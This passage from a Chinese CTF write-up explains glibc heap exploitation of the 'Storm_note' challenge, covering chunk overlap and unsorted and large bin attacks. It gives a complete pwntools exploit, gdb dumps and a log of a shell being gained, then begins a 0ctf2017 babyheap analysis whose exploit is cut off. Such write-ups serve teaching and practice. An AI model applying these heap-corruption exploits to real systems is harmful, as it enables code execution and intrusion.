class="line">0x562071ea0090:0x61616161616161610x6161616161616161</span><br></pre></td></tr></table></figure><p>接下来我们申请两块chunk，因为关闭了 fastbin 机制，所以会从unsorted bin上，然后delete掉它们，那么就会触发这两个堆块合并，从而覆盖到刚刚的 0x4d8 这个块</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">alloc_note(<span class="number">0x18</span>)</span><br><span class="line">alloc_note(<span class="number">0x4d8</span>)</span><br><span class="line">delete_note(<span class="number">1</span>)</span><br><span class="line">delete_note(<span class="number">2</span>)  <span class="comment"># unlink进行前向extend</span></span><br></pre></td></tr></table></figure><p>调试如下，index为7的指向的地方和unsortedbin里面的chunk已经重叠了</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ x/20gx 0x5564795ff000</span><br><span class="line">0x5564795ff000:0x00000000000000000x0000000000000021</span><br><span class="line">0x5564795ff010:0x62626262626262620x6262626262626262</span><br><span class="line">0x5564795ff020:0x62626262626262620x0000000000000531</span><br><span class="line">0x5564795ff030:0x00007f8305be4b780x00007f8305be4b78</span><br><span class="line">0x5564795ff040:0x00000000000000000x0000000000000000</span><br><span class="line">0x5564795ff050:0x00000000000000000x0000000000000000</span><br><span class="line">0x5564795ff060:0x00000000000000000x0000000000000000</span><br><span class="line">0x5564795ff070:0x00000000000000000x0000000000000000</span><br><span class="line">0x5564795ff080:0x00000000000000000x0000000000000000</span><br><span class="line">0x5564795ff090:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure><p>alloc_note(0x30)之后2号块与7号块交叠，这里 add(0x30) 的 size 为 0x30 的原因是只需要控制 chunk7 的 fd 和 bk 指针</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">alloc_note(0x30)  <span class="comment"># 1</span></span><br><span class="line">alloc_note(0x4e8)  <span class="comment"># 2</span></span><br></pre></td></tr></table></figure><p>接下来的原理同上</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">edit_note(<span class="number">4</span>, <span class="string">'a'</span>*(<span class="number">0x4f0</span>) + p64(<span class="number">0x500</span>))</span><br><span class="line">delete_note(<span class="number">4</span>)</span><br><span class="line">edit_note(<span class="number">3</span>, <span class="string">'a'</span>*(<span class="number">0x18</span>))</span><br><span class="line">alloc_note(<span class="number">0x18</span>)  <span class="comment"># 4</span></span><br><span class="line">alloc_note(<span class="number">0x4d8</span>)  <span class="comment"># 8</span></span><br><span class="line">delete_note(<span class="number">4</span>)</span><br><span class="line">delete_note(<span class="number">5</span>)</span><br><span class="line">alloc_note(<span class="number">0x40</span>)  <span class="comment"># 4</span></span><br></pre></td></tr></table></figure><p>接下来需要我们控制 unsort bin 和 <a href="https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/heap_structure/#large-bin" target="_blank" rel="noopener">large bin</a></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">delete_note(<span class="number">2</span>)</span><br><span class="line">alloc_note(<span class="number">0x4e8</span>)    <span class="comment"># 2</span></span><br><span class="line">delete_note(<span class="number">2</span>)</span><br></pre></td></tr></table></figure><p>由于unsorted bin是FIFO（队列模式），所以可以先删除2号块，再申请他，由于先检查队列尾部，也就是原先4号块的chunk部分，发现chunk大小不够大，然后将其放入large bin中。该chunk由8号块控制。然后，继续删除2号块，那么此时unsorted bin里还剩下2号块，该部分通过7号块来控制。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ x/20gx 0x55609685a000</span><br><span class="line">0x55609685a000:0x00000000000000000x0000000000000021</span><br><span class="line">0x55609685a010:0x62626262626262620x6262626262626262</span><br><span class="line">0x55609685a020:0x62626262626262620x0000000000000041</span><br><span class="line">0x55609685a030:0x00000000000000000x0000000000000000</span><br><span class="line">0x55609685a040:0x00000000000000000x0000000000000000</span><br><span class="line">0x55609685a050:0x00000000000000000x0000000000000000</span><br><span class="line">0x55609685a060:0x00000000000000000x00000000000004f1 =&gt; chunk 2</span><br><span class="line">0x55609685a070:0x00007fec67d73b780x00007fec67d73b78 =&gt; unsorted bin</span><br><span class="line">0x55609685a080:0x00000000000000000x0000000000000000</span><br><span class="line">0x55609685a090:0x00000000000000000x0000000000000000</span><br><span class="line">gdb-peda$ x/20gx 0x55609685a570</span><br><span class="line">0x55609685a570:0x61616161616161610x0000000000000051</span><br><span class="line">0x55609685a580:0x00000000000000000x0000000000000000</span><br><span class="line">0x55609685a590:0x00000000000000000x0000000000000000</span><br><span class="line">0x55609685a5a0:0x00000000000000000x0000000000000000</span><br><span class="line">0x55609685a5b0:0x00000000000000000x0000000000000000</span><br><span class="line">0x55609685a5c0:0x00000000000000000x00000000000004e1 =&gt; chunk 5</span><br><span class="line">0x55609685a5d0:0x00007fec67d73f980x00007fec67d73f98</span><br><span class="line">0x55609685a5e0:0x000055609685a5c00x000055609685a5c0</span><br><span class="line">0x55609685a5f0:0x00000000000000000x0000000000000000</span><br><span class="line">0x55609685a600:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure><p>接下来我们伪造 fake_chunk，通过 chunk7 控制 chunk2</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">content_addr = <span class="number">0xabcd0100</span></span><br><span class="line">fake_chunk =  content_addr - <span class="number">0x20</span></span><br><span class="line"></span><br><span class="line">payload = p64(<span class="number">0</span>)*<span class="number">2</span> + p64(<span class="number">0</span>) + p64(<span class="number">0x4f1</span>)    <span class="comment"># size</span></span><br><span class="line">payload += p64(<span class="number">0</span>) + p64(fake_chunk)         <span class="comment"># bk</span></span><br><span class="line">edit_note(<span class="number">7</span>,payload)</span><br></pre></td></tr></table></figure><p>同样的通过 edit(8) 来控制 chunk5 </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">payload2 = p64(<span class="number">0</span>)*<span class="number">4</span> + p64(<span class="number">0</span>) + p64(<span class="number">0x4e1</span>)    <span class="comment"># size </span></span><br><span class="line">payload2 += p64(<span class="number">0</span>) + p64(fake_chunk+<span class="number">8</span>)       </span><br><span class="line">payload2 += p64(<span class="number">0</span>) + p64(fake_chunk<span class="number">-0x18</span><span class="number">-5</span>) </span><br><span class="line"></span><br><span class="line">edit_note(<span class="number">8</span>,payload2)</span><br></pre></td></tr></table></figure><p>接下来我们需要触发后门</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">edit_note(<span class="number">2</span>, p64(<span class="number">0</span>) * <span class="number">8</span>)</span><br><span class="line">sh.sendline(<span class="string">'666'</span>)</span><br><span class="line">sh.sendline(<span class="string">'\x00'</span>*<span class="number">0x30</span>)</span><br><span class="line"></span><br><span class="line">sh.interactive()</span><br></pre></td></tr></table></figure><p>exp如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">r = process(<span class="string">'./Storm_note'</span>)</span><br><span class="line">elf = ELF(<span class="string">'./Storm_note'</span>)</span><br><span class="line">context.log_level = <span class="string">"debug"</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> args.G:</span><br><span class="line">    gdb.attach(r)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">alloc_note</span><span class="params">(size)</span>:</span></span><br><span class="line">    r.sendline(<span class="string">'1'</span>)</span><br><span class="line">    r.recvuntil(<span class="string">'?'</span>)</span><br><span class="line">    r.sendline(str(size))</span><br><span class="line">    r.recvuntil(<span class="string">'Choice'</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">edit_note</span><span class="params">(idx, mes)</span>:</span></span><br><span class="line">    r.sendline(<span class="string">'2'</span>)</span><br><span class="line">    r.recvuntil(<span class="string">'?'</span>)</span><br><span class="line">    r.sendline(str(idx))</span><br><span class="line">    r.recvuntil(<span class="string">'Content'</span>)</span><br><span class="line">    r.send(mes)</span><br><span class="line">    r.recvuntil(<span class="string">'Choice'</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete_note</span><span class="params">(idx)</span>:</span></span><br><span class="line">    r.sendline(<span class="string">'3'</span>)</span><br><span class="line">    r.recvuntil(<span class="string">'?'</span>)</span><br><span class="line">    r.sendline(str(idx))</span><br><span class="line">    r.recvuntil(<span class="string">'Choice'</span>)</span><br><span class="line"></span><br><span class="line">alloc_note(<span class="number">0x18</span>)  <span class="comment"># 0</span></span><br><span class="line">alloc_note(<span class="number">0x508</span>)  <span class="comment"># 1</span></span><br><span class="line">alloc_note(<span class="number">0x18</span>)  <span class="comment"># 2</span></span><br><span class="line"></span><br><span class="line">alloc_note(<span class="number">0x18</span>)  <span class="comment"># 3</span></span><br><span class="line">alloc_note(<span class="number">0x508</span>)  <span class="comment"># 4</span></span><br><span class="line">alloc_note(<span class="number">0x18</span>)  <span class="comment"># 5</span></span><br><span class="line"></span><br><span class="line">alloc_note(<span class="number">0x18</span>)  <span class="comment"># 6</span></span><br><span class="line"></span><br><span class="line">edit_note(<span class="number">1</span>, <span class="string">'a'</span>*<span class="number">0x4f0</span> + p64(<span class="number">0x500</span>))</span><br><span class="line">delete_note(<span class="number">1</span>)</span><br><span class="line">edit_note(<span class="number">0</span>, <span class="string">'b'</span>*(<span class="number">0x18</span>))</span><br><span class="line"></span><br><span class="line">alloc_note(<span class="number">0x18</span>)</span><br><span class="line">alloc_note(<span class="number">0x4d8</span>)</span><br><span class="line"></span><br><span class="line">delete_note(<span class="number">1</span>)</span><br><span class="line">delete_note(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">alloc_note(<span class="number">0x30</span>)</span><br><span class="line">alloc_note(<span class="number">0x4e8</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 原理同上</span></span><br><span class="line">edit_note(<span class="number">4</span>, <span class="string">'a'</span>*(<span class="number">0x4f0</span>) + p64(<span class="number">0x500</span>))</span><br><span class="line">delete_note(<span class="number">4</span>)</span><br><span class="line">edit_note(<span class="number">3</span>, <span class="string">'a'</span>*(<span class="number">0x18</span>))</span><br><span class="line">alloc_note(<span class="number">0x18</span>)  <span class="comment"># 4</span></span><br><span class="line">alloc_note(<span class="number">0x4d8</span>)  <span class="comment"># 8</span></span><br><span class="line">delete_note(<span class="number">4</span>)</span><br><span class="line">delete_note(<span class="number">5</span>)</span><br><span class="line">alloc_note(<span class="number">0x40</span>)  <span class="comment"># 4</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 将2号块和4号块分别加入unsort bin和large bin</span></span><br><span class="line">delete_note(<span class="number">2</span>)</span><br><span class="line">alloc_note(<span class="number">0x4e8</span>)    <span class="comment"># 2</span></span><br><span class="line">delete_note(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">content_addr = <span class="number">0xabcd0100</span></span><br><span class="line">fake_chunk =  content_addr - <span class="number">0x20</span></span><br><span class="line"></span><br><span class="line">payload = p64(<span class="number">0</span>)*<span class="number">2</span> + p64(<span class="number">0</span>) + p64(<span class="number">0x4f1</span>)    <span class="comment"># size</span></span><br><span class="line">payload += p64(<span class="number">0</span>) + p64(fake_chunk)         <span class="comment"># bk</span></span><br><span class="line">edit_note(<span class="number">7</span>,payload)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">payload2 = p64(<span class="number">0</span>)*<span class="number">4</span> + p64(<span class="number">0</span>) + p64(<span class="number">0x4e1</span>)    <span class="comment"># size </span></span><br><span class="line">payload2 += p64(<span class="number">0</span>) + p64(fake_chunk+<span class="number">8</span>)       </span><br><span class="line">payload2 += p64(<span class="number">0</span>) + p64(fake_chunk<span class="number">-0x18</span><span class="number">-5</span>) </span><br><span class="line"></span><br><span class="line">edit_note(<span class="number">8</span>,payload2)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 0xabcd00f0</span></span><br><span class="line">alloc_note(<span class="number">0x48</span>)</span><br><span class="line"></span><br><span class="line">edit_note(<span class="number">2</span>, p64(<span class="number">0</span>) * <span class="number">8</span>)</span><br><span class="line">r.sendline(<span class="string">'666'</span>)</span><br><span class="line">r.sendline(<span class="string">'\x00'</span>*<span class="number">0x30</span>)</span><br><span class="line"></span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><p>运行结果如下</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">Thunder_J@Thunder_J-virtual-machine:~/桌面$ python exp.py </span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">'./Storm_note'</span>: pid 16030</span><br><span class="line">[*] <span class="string">'/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/Storm_note'</span></span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Full RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      PIE enabled</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">: If you can open the lock, I will <span class="built_in">let</span> you <span class="keyword">in</span></span><br><span class="line">$ ls</span><br><span class="line">exp.py    HITCON-Training  Storm_note  test.py  vmware-tools-distrib</span><br><span class="line">$ whoami</span><br><span class="line">Thunder_J</span><br><span class="line">$ <span class="built_in">exit</span></span><br><span class="line">[*] Got EOF <span class="keyword">while</span> reading <span class="keyword">in</span> interactive</span><br><span class="line">$ <span class="built_in">exit</span></span><br><span class="line">[*] Process <span class="string">'./Storm_note'</span> stopped with <span class="built_in">exit</span> code 0 (pid 16030)</span><br><span class="line">[*] Got EOF <span class="keyword">while</span> sending <span class="keyword">in</span> interactive</span><br></pre></td></tr></table></figure><p><strong>参考链接</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[+] http://blog.eonew.cn/archives/709</span><br><span class="line">[+] https://blog.csdn.net/weixin_40850881/article/details/80293143</span><br></pre></td></tr></table></figure><h2 id="Some-Example"><a href="#Some-Example" class="headerlink" title="Some Example"></a>Some Example</h2><h3 id="0ctf2017-babyheap"><a href="#0ctf2017-babyheap" class="headerlink" title="0ctf2017 babyheap"></a>0ctf2017 babyheap</h3><p>这里从0ctf2017-babyheap这一道pwn题目入手，讲解pwn堆中的一些利用手法</p><p><a href="https://uaf.io/assets/0ctfbabyheap" target="_blank" rel="noopener">题目链接</a></p><p><strong>分析程序</strong></p><p>首先检查程序保护，所有的保护措施都是开启的，这意味着我们想要改写程序流程考虑从<code>malloc_hook</code>和<code>free_hook</code>入手</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">[*] &apos;/home/thunder/Desktop/codes/ctf/pwn/heap/0ctf_babyheap/0ctfbabyheap&apos;</span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Full RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      PIE enabled</span><br></pre></td></tr></table></figure><p><code>sed -i s/alarm/isnan/g ./0ctfbabyheap</code>命令除去alarm函数，初步运行程序，有以下几个功能：</p><ol><li>申请chunk</li><li>填充chunk</li><li>销毁chunk</li><li>输出chunk</li><li>退出程序</li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">===== Baby Heap in 2017 =====</span><br><span class="line">1. Allocate</span><br><span class="line">2. Fill</span><br><span class="line">3. Free</span><br><span class="line">4. Dump</span><br><span class="line">5. Exit</span><br><span class="line">Command:</span><br></pre></td></tr></table></figure><p>漏洞点存在于申请chunk和填充chunk部分，我们着重对这两个地方进行分析</p><p><strong>Alloc chunk</strong></p><p>IDA中反汇编如下，这里使用了<code>calloc</code>函数，相当于<code>malloc + memset</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">void</span> __<span class="function">fastcall <span class="title">alloc</span><span class="params">(__int64 heap)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> index; <span class="comment">// [rsp+10h] [rbp-10h]</span></span><br><span class="line">  <span class="keyword">int</span> v2; <span class="comment">// [rsp+14h] [rbp-Ch]</span></span><br><span class="line">  <span class="keyword">void</span> *v3; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> ( index = <span class="number">0</span>; index &lt;= <span class="number">15</span>; ++index )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( !*(_DWORD *)(<span class="number">24L</span>L * index + heap) )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"Size: "</span>);</span><br><span class="line">      v2 = input_();</span><br><span class="line">      <span class="keyword">if</span> ( v2 &gt; <span class="number">0</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="keyword">if</span> ( v2 &gt; <span class="number">4096</span> )</span><br><span class="line">          v2 = <span class="number">4096</span>;</span><br><span class="line">        v3 = <span class="built_in">calloc</span>(v2, <span class="number">1u</span>LL);</span><br><span class="line">        <span class="keyword">if</span> ( !v3 )</span><br><span class="line">          <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">        *(_DWORD *)(<span class="number">24L</span>L * index + heap) = <span class="number">1</span>;</span><br><span class="line">        *(_QWORD *)(heap + <span class="number">24L</span>L * index + <span class="number">8</span>) = v2;</span><br><span class="line">        *(_QWORD *)(heap + <span class="number">24L</span>L * index + <span class="number">16</span>) = v3;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">"Allocate Index %d\n"</span>, (<span class="keyword">unsigned</span> <span class="keyword">int</span>)index);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>反汇编中我们可以分析heap结构体大致如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">heap</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    <span class="keyword">signed</span> <span class="keyword">int</span> flag;　　　　<span class="comment">//标记是否被分配</span></span><br><span class="line">    <span class="keyword">signed</span> <span class="keyword">int</span> size;　　　　<span class="comment">//请求申请的大小</span></span><br><span class="line">    <span class="keyword">void</span>* chunk_m;　　　　  <span class="comment">//chunk的mem值</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>填充chunk</strong></p><p>IDA反汇编如下，需要注意的是，这里并没有对填充的大小进行限制，也就意味着我们可以堆溢出控制下面的chunk</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">__int64 __<span class="function">fastcall <span class="title">fill</span><span class="params">(__int64 a1)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  __int64 result; <span class="comment">// rax</span></span><br><span class="line">  <span class="keyword">int</span> v2; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line">  <span class="keyword">int</span> v3; <span class="comment">// [rsp+1Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">"Index: "</span>);</span><br><span class="line">  result = input_();</span><br><span class="line">  v2 = result;</span><br><span class="line">  <span class="keyword">if</span> ( (<span class="keyword">int</span>)result &gt;= <span class="number">0</span> &amp;&amp; (<span class="keyword">int</span>)result &lt;= <span class="number">15</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    result = *(<span class="keyword">unsigned</span> <span class="keyword">int</span> *)(<span class="number">24L</span>L * (<span class="keyword">int</span>)result + a1);</span><br><span class="line">    <span class="keyword">if</span> ( (_DWORD)result == <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"Size: "</span>);</span><br><span class="line">      result = input_();</span><br><span class="line">      v3 = result;</span><br><span class="line">      <span class="keyword">if</span> ( (<span class="keyword">int</span>)result &gt; <span class="number">0</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">"Content: "</span>);</span><br><span class="line">        result = sub_11B2(*(_QWORD *)(<span class="number">24L</span>L * v2 + a1 + <span class="number">16</span>), v3);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>Exploit</strong></p><p>这里先放exp，然后逐步进行调试讲解，我们的利用可以分为两步，第一步是泄露libc基地址，第二步是getshell</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">r = process(<span class="string">'./0ctfbabyheap'</span>)</span><br><span class="line">elf =ELF(<span class="string">'./0ctfbabyheap'</span>)</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">'debug'</span></span><br><span class="line">context.terminal = [<span class="string">'deepin-terminal'</span>, <span class="string">'-x'</span>, <span class="string">'sh'</span> ,<span class="string">'-c'</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> args.G:</span><br><span class="line">    gdb.attach(r)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">malloc</span><span class="params">(size)</span>:</span></span><br><span class="line">    r.recvuntil(<span class="string">'Command: '</span>)</span><br><span class="line">    r.sendline(<span class="string">'1'</span>)</span><br><span class="line">    r.recvuntil(<span class="string">'Size: '</span>)</span><br><span class="line">    r.sendline(str(size))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">free</span><span class="params">(idx)</span>:</span></span><br><span class="line">    r.recvuntil(<span class="string">'Command: '</span>)</span><br><span class="line">    r.sendline(<span class="string">'3'</span>)</span><br><span class="line">    r.recvuntil(<span class="string">'Index: '</span>)</span><br><span class="line">    r.sendline(str(idx))</span><br><span class="line">    </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fill</span><span class="params">(idx,content)</span>:</span></span><br><span class="line">    r.recvuntil(<span class="string">'Command: '</span>)</span><br><span class="line">    r.sendline(<span 